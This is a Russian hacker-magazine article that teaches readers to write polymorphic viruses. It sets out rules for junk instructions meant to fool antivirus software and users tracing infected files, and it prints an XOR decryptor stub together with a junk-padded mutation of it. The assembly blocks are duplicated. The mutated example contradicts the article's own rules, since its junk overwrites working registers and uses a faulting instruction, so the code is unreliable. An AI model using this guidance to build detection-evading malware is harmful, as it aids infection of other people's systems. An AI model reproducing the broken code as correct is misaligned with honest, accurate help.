Технология шифрования Докучаев Дмитрий aka Forb Спецвыпуск Xakep, номер #035, стр. 035-036-3 Практика Любой может написать хороший полиморфный вирус. Необходимо лишь немного разбираться в ассемблере. На создание среднего полиморфика тратится не более шести часов. Хочешь попробовать? Тогда послушай ряд рекомендаций по составлению алгоритмов твоего будущего виря и расшифровщика. Очень проста реализация поиска зеркальных команд. Для этого необходимо создать сводную таблицу с операндами. К ней должна прилагаться дополнительная информация: наличие зеркала, необходимость замены команды и прочее. Если человек немного понимает в вирмейкинге и ассемблере, то составить подобную таблицу ему будет несложно. С командами-мусором можно поступить аналогичным образом, как и с зеркалами. Кстати о мусоре. К таким инструкциям прилагается ряд ограничений, которые должен исполнять каждый вирусописатель, чтобы его творение работало как следует. Итак, команда не должна: 1. Передавать управление за внешнюю программу. То есть управлять кодом может лишь расшифровщик и никто другой. Если нарушить это правило - вирус будет замечен. 2. Изменять регистры, которые используют рабочие команды. Сам понимаешь, мусор есть мусор и он никоим образом не должен пересекаться с правильным кодом. 3. Вызывать фатальные ошибки, а также генерировать исключения, так как это остановит работу расшифровщика, либо сделает ее неверной. Смысл всех правил сводится к одному - мусор не должен мешать процессу расшифровки кода, а лишь радовать глаз антивируса и неопытного пользователя, трассирующего зараженный файл. Еще один полезный совет: ставь нерабочую команду после цикла, но перед шифрованным кодом - это избавит от некоторых проблем с конвейером у процессоров Pentium. Ну, а теперь рассмотрим и вовсе конкретный пример. Пусть у нас есть самый что ни на есть элементарный расшифровщик: mov ecx,virus_size lea edi,pointer_to_code_to_crypt mov eax,crypt_key _begin_loop: xor dword ptr [edi],eax add edi,4 loop _begin_loop mov ecx,virus_size lea edi,pointer_to_code_to_crypt mov eax,crypt_key _begin_loop: xor dword ptr [edi],eax add edi,4 loop _begin_loop Теперь посмотрим, что же может сделать наш полиморфный движок с этим кодом (с учетом всего того, что я писал выше): shl eax,2 add ebx,157637369h imul eax,ebx,69 (*) mov ecx,virus_size rcl esi,1 cli (*) lea edi,pointer_to_code_to_crypt xchg eax,esi (*) mov eax,crypt_key mov esi,22132546h and ebx,0FF242569h (*) xor dword ptr [edi],eax or eax,34548286h add esi,76869678h (*) add edi,4 stc push eax xor edx,24564631h pop esi (*) loop 00401013h cmc or edx,132h shl eax,2 add ebx,157637369h imul eax,ebx,69 (*) mov ecx,virus_size rcl esi,1 cli (*) lea edi,pointer_to_code_to_crypt xchg eax,esi (*) mov eax,crypt_key mov esi,22132546h and ebx,0FF242569h (*) xor dword ptr [edi],eax or eax,34548286h add esi,76869678h (*) add edi,4 stc push eax xor edx,24564631h pop esi (*) loop 00401013h cmc or edx,132h В этом коде звездочками отмечены исходные инструкции. Конечно, антивируснику обнаружить такой код будет несложно, но гораздо сложнее, чем обычный, незащищенный. |